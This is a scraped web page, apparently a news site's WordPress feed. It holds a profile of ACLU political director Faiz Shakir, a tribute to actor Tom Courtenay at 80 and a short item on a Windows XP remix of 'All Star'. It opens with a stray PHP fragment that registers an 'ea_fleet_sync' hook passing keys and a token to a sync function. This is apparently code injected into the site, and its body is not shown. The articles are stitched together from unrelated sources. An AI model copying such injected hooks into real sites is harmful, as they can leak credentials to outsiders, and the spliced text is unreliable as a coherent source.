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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Star&#039 – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 01 Aug 2017 06:38:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Star&#039 – Brief News https://briefnews.eu 32 32 The 'Rock Star' Activist Leading the Resistance https://briefnews.eu/the-rock-star-activist-leading-the-resistance/ https://briefnews.eu/the-rock-star-activist-leading-the-resistance/#respond Tue, 01 Aug 2017 06:38:35 +0000 http://briefnews.eu/the-rock-star-activist-leading-the-resistance/ It was like shuttle diplomacy, with the former second baseman bouncing between warring camps. In early 2016, with a bitter primary between Hillary Clinton and Bernie Sanders sapping Democrats’ energy and resources that could have been trained on Donald Trump, Faiz Shakir tried to broker a peace. A close aide for then Senate Minority Leader Harry Reid with deep ties in the progressive movement, Shakir was an intermediary among the various players as Reid tried to get Sanders to drop out gracefully. The effort failed. Vermont’s senator, buoyed by unexpected wins in primaries like Michigan, and embittered by biases at the Democratic National Committee, hung on through July. And Sanders never found the right role to help Clinton, Shakir admits now, wondering what might have been had Sanders agreed to lay down his sword sooner.

As hopes for a Clinton presidency turned to opposition to Trump, Shakir worked briefly for Sanders before seizing the chance to be political director of the American Civil Liberties Union — where he now guides a surprisingly prominent combatant in the resistance. But the divisions of 2016 remain unresolved for Democrats, as they figure out how to navigate a surge of left-wing energy for a party at its lowest point since 1920, with electoral wins hard to come by. Shakir “would be a strong voice for anyone to listen to carefully who’s thinking about leading this party,” says Matt Canter, a veteran Democratic strategist with Global Strategy Group.

That steady voice is the son of Pakistani immigrants, who brings scars from political fights and personal attacks to the crusade against Trump. Shakir, 37, grew up in Florida a baseball fiend — eventually converting his father from cricket. He played ball for four years at Harvard, but standing, as Shakir puts it, “5-foot-nothing and 100-nothing,” a professional career wasn’t in the cards. Instead, he slid into politics.

Faiz Shakir

As a junior research staffer for presidential hopeful John Kerry’s campaign in the fall of 2004, Shakir was involved in the fight against the “swift boating” of Kerry’s Vietnam War record — a painful lesson in the power of conservative media and rapid response. Then he joined the Center for American Progress think tank, which has close ties to the Democratic Party, and helped launch the blog ThinkProgress, building it into a major brand of left-leaning reporting and analysis. (There were missteps, including Shakir misrepresenting himself as a conservative blogger to try to cover a Republican Senate campaign.) ThinkProgress, acting as the “tip of the spear” for CAP, in Shakir’s words, would at times ding Democrats for not being liberal enough, but Shakir was always careful to pick his spots. “What Faiz is best at is striking that balance between pressure and support that makes leaders listen to you,” says Adam Jentleson, who worked with Shakir at both CAP and Reid’s office.

If Rep. Keith Ellison, who ran for chairman of the DNC, is the most visible Muslim in American politics, Shakir could be the most powerful.

But he attracted plenty of critics on the right. A year after a 2011 ThinkProgress report called Fear, Inc. detailed a network of Islamophobic organizations, Shakir joined House Minority Leader Nancy Pelosi’s office, and FrontPage magazine (which had been named in the Islamophobia report) accused him of helping raise money for terrorists. The convoluted tale: In 2000 at Harvard, Shakir was co-chair of Islam Awareness Week. The week’s final event, which Shakir says he did not plan or attend, was in coalition with other local colleges and sent proceeds to the Holy Land Foundation, a charity supporting Palestinians. HLF was later shut down by the feds, and its leaders were found guilty of sending money to Hamas. Foes also labeled Shakir an anti-Semite, based mostly on personal tweets by people who worked under him at ThinkProgress. Shakir says the accusations have “no merit,” but they stung. “It cut pretty deeply,” Shakir says. “It’s the type of thing I’ve been working my life against. I was always deeply involved in forging relationships across ethnic and religious differences.”

Working for Reid, Shakir helped shape the centrist Nevadan’s moves toward the progressive base in his final term in office, Jentleson says, such as the senator’s flip to support an assault weapons ban. Shakir wasn’t dragging him there so much as showing the benefits of the positions — and warning when a stance risked pissing off the liberal base.

When the ACLU came calling after the election, Shakir saw an opportunity to rebrand an institution known for courtroom advocacy rather than the political kind. In March he launched the “People Power” program, which has now engaged more than 210,000 activists across all 50 states. The group doesn’t endorse in political races, but aims to pressure lawmakers on priorities such as blocking deportations.

While it retains the nonpartisan label, the ACLU’s political activity often casts the group in partisan terms. In May, it denounced a Trump executive order relaxing restrictions on political speech by religious organizations — ultimately choosing not to file a lawsuit. “Look, I don’t think anybody is surprised that the ACLU … love[s] to come out against Republicans,” then Deputy Press Secretary Sarah Huckabee Sanders told White House reporters. “They love to talk about debating tolerance except when it comes to people of faith.”

Shakir, along with the ACLU’s executive director, Anthony Romero, has become a face of the resistance. If Rep. Keith Ellison, who ran for DNC chairman, is the most visible Muslim in American politics, Shakir could be the most powerful, considering the funds at his disposal. Juiced in part by the ACLU’s fight against Trump’s travel ban, celebrities are helping raise money for the group, which brought in $ 80 million online in the first eight months following the election (a typical pre-Trump yearly online haul was $ 4 million). In April, Shakir gave a rah-rah speech at a benefit concert at the Staples Center in Los Angeles, organized by Zedd and featuring Halsey, Imagine Dragons, Incubus, Skrillex and others. “I didn’t anticipate having rock-star status,” Shakir says. It might be time for him to get used to it.

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Tom Courtenay celebrates his 80th birthday today

They had public-school accents, ramrod-straight hair partings and knew how to fold a pocket square. Then along came a group of “New Wave” directors on a mission to portray more accurately the lives of ordinary people. 

To do that they needed a new breed of actor. Step forward working-class types such as Michael Caine and Albert Finney. And Tom Courtenay. 

It may be hard to believe five decades on but Courtenay, who celebrates his 80th birthday today, was once a bigger star than either of these now much more famous rivals. 

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He burst on to the scene with starring roles in The Loneliness Of The Long Distance Runner (1962) and Billy Liar (1963), winning Baftas for both, and followed up those with big parts in blockbuster Dr Zhivago – alongside Omar Sharif and a promising young actress called Julie Christie – and The Night Of The Generals, costarring Peter O’Toole and Sharif. 

He was nominated for an Oscar as best supporting actor in Zhivago but being a big-time Hollywood star never appealed to him. 

He was more comfortable in the theatre. “The film business is absurd,” Courtenay once said. “Stars don’t last very long. It’s much more interesting to be a proper actor.” 

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He burst on to the scene with roles in The Loneliness Of The Long Distance Runner and Billy Liar

And that is exactly what he became. Courtenay formed a long association with the Royal Exchange Theatre in Manchester where he played a string of classic roles, including Hamlet and King Lear. 

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He didn’t give up the movie business entirely, playing the title role in The Dresser, a film version of the hit play about a once-famous Shakespearian actor and his wardrobe assistant, for which he got his second Oscar nomination in 1983.

So when Courtenay was knighted in 2001 it was appropriate that it was for services to both the cinema and the theatre. 

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His investiture was the culmination of a long journey for the boy born in 1937 near the Fish Dock in Hull, where his father worked as a boat painter and his mother Annie made fishing nets to supplement the family income. 

Hull was a regular target for Luftwaffe attacks during the Second World War. “On their way back from their raids on the Midlands or Liverpool they used to empty their bombs on us before they crossed the North Sea,” he once recalled. 

“Hull people used to think they didn’t get the credit for the bombing they endured.”

Despite the Nazi bombs his childhood was a happy one. A bright boy who was given every encouragement by his parents, he got into Kingston High School after passing his 11-plus and it was there he discovered his love of performing. 

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Courtenay with Julie Christie on the set of Dr Zhivago in 1965

“I had this little knack, which was my own thing. I wasn’t good at football and cricket but when we got to grammar school, in assembly, there was this stage and I just wanted to get up on it and speak.” 

At 18 he went to study English at University College, London. “I really wanted to be at the Royal Academy of Dramatic Art just down the street – and that’s where I spent the last two of my five years as a student.” 

After graduating he appeared at the Old Vic and went on to replace Albert Finney – who later became a close friend – in the stage production of Billy Liar. 

Then came that fi lm breakthrough. In The Loneliness Of The Long Distance Runner he played the rebellious Borstal boy Colin Smith. 

“Do you know what I’d do if I had the whip hand? I’d get all the coppers, governors, posh whores, army officers and Members of Parliament and I’d stick all of them up against this wall and let ’em ave ’it, ’cause that’s what they’d like to do to blokes like us,” Courtenay’s character says. 

His performance earned rave reviews but for Courtenay this early triumph was overshadowed by sadness as, just a week before the film was released, his mother died of breast cancer aged only 48. 

In his next film Billy Liar he played an undertaker’s clerk escaping into fantasy – with Julie Christie as one of his girlfriends. 

Courtenay was now established as one of Britain’s most sought-after actors. Lean, handsome and unmistakably Northern and working-class he embodied the zeitgeist of Britain in the egalitarian Swinging Sixties. In 1965 his fame became international when he starred as the idealistic Russian revolutionary Pasha Antipov in Dr Zhivago. 

But despite his Oscar nomination he didn’t let his meteoric rise go to his head. 

“A friend’s American wife said all the girls at her school had been in love with Pasha, the part I played,” he said. “I thought, ‘Gosh, I wish I’d known that!’ I had no idea.”

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Courtenay with his wife of 29 years Isabel Crossley

Courtenay felt uneasy about being compared to some of the greats of his profession while he was still in his 20s. 

“I remember there was a photograph from Zhivago with all of us sitting in our chairs with our names on the back. I was sitting between Alec Guinness and Ralph Richardson and I thought, 

“‘This isn’t right. I don’t deserve to be mentioned in the same breath as those two’. Think of all they’ve done. I felt it very strongly – that I hadn’t earned my spurs. I felt desperately I had to return to the boards and learn how to do it.” 

So, just at the time when he could have become an international star earning millions, Courtenay headed back home to the theatre. 

A year after the heady heights of Dr Zhivago, the 1960s heart-throb was appearing in Charley’s Aunt in Manchester. 

He not only rejected lucrative film roles but the chance of playing Jesus of Nazareth in a major TV production, believing the script was not strong enough. 

“I wondered if I ever did meet Jesus, whether He’d ask, ‘Well, what was that supposed to be?’” he explained. 

He married actress Cheryl Kennedy in 1973 but the couple divorced nine years later. In 1988 Courtenay married his second wife Isabel, a stage manager at the Royal Exchange, and the pair remain together. 

In recent years he has been seen more regularly on television, including in the comedy series The Royle Family and as a wheelchair-bound character in the crime drama Unforgotten. 

In 2016 he played Lance-Corporal Jones in the new Dad’s Army film. For all the plaudits that have come his way Courtenay has always acknowledged the debt he owes to his parents. 

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The actor was born near the Fish Dock in Hul

In 2000, in the book Dear Tom: Letters From Home, he published the letters his mother wrote to him while he was at university in the 1950s. 

“After her death the cardboard box containing them became my most precious possession,” he admitted. He also remembered how his father would send him the green Saturday evening newspaper, the Sports Mail. 

Courtenay’s passion for football has never left him – he is president of the Hull City supporters’ club to this day. 

The unassuming acting great who turned his back on Hollywood has never forgotten his roots. 

How appropriate then that councillors this year granted Courtenay the freedom of his home city.

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This is it, people. We’re officially on the tail end of the Smash Mouth meme. It’s been a good ride. But while most reworkings of “All Star” have just upped the levels of obnoxiousness that are pre-baked into the song, this one is actually enjoyable thanks to its use of sounds from what remains the best edition of Windows ever made.

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The creator of the Windows XP-ified jam embedded below, James Nielssen, is no amateur. He’s previously fucked with the Smash Mouth-penned Shrek-anthem in classic vids like “‘All Star’ by Smashmouth but every word is someBODY” and “Guy From Smashmouth Saying someBODY 268,435,456 times.”

For his latest masterpiece, Nielssen has recreated the whole jam using only sounds from Windows XP, an operating system that’s surprisingly younger than the song. Am I wrong that this is good? Nielssen himself called it a “nightmare” but I’m putting it in my iTunes library. With the lyrics excised and those comforting tones, this will make for some nice walking around music in the spring.

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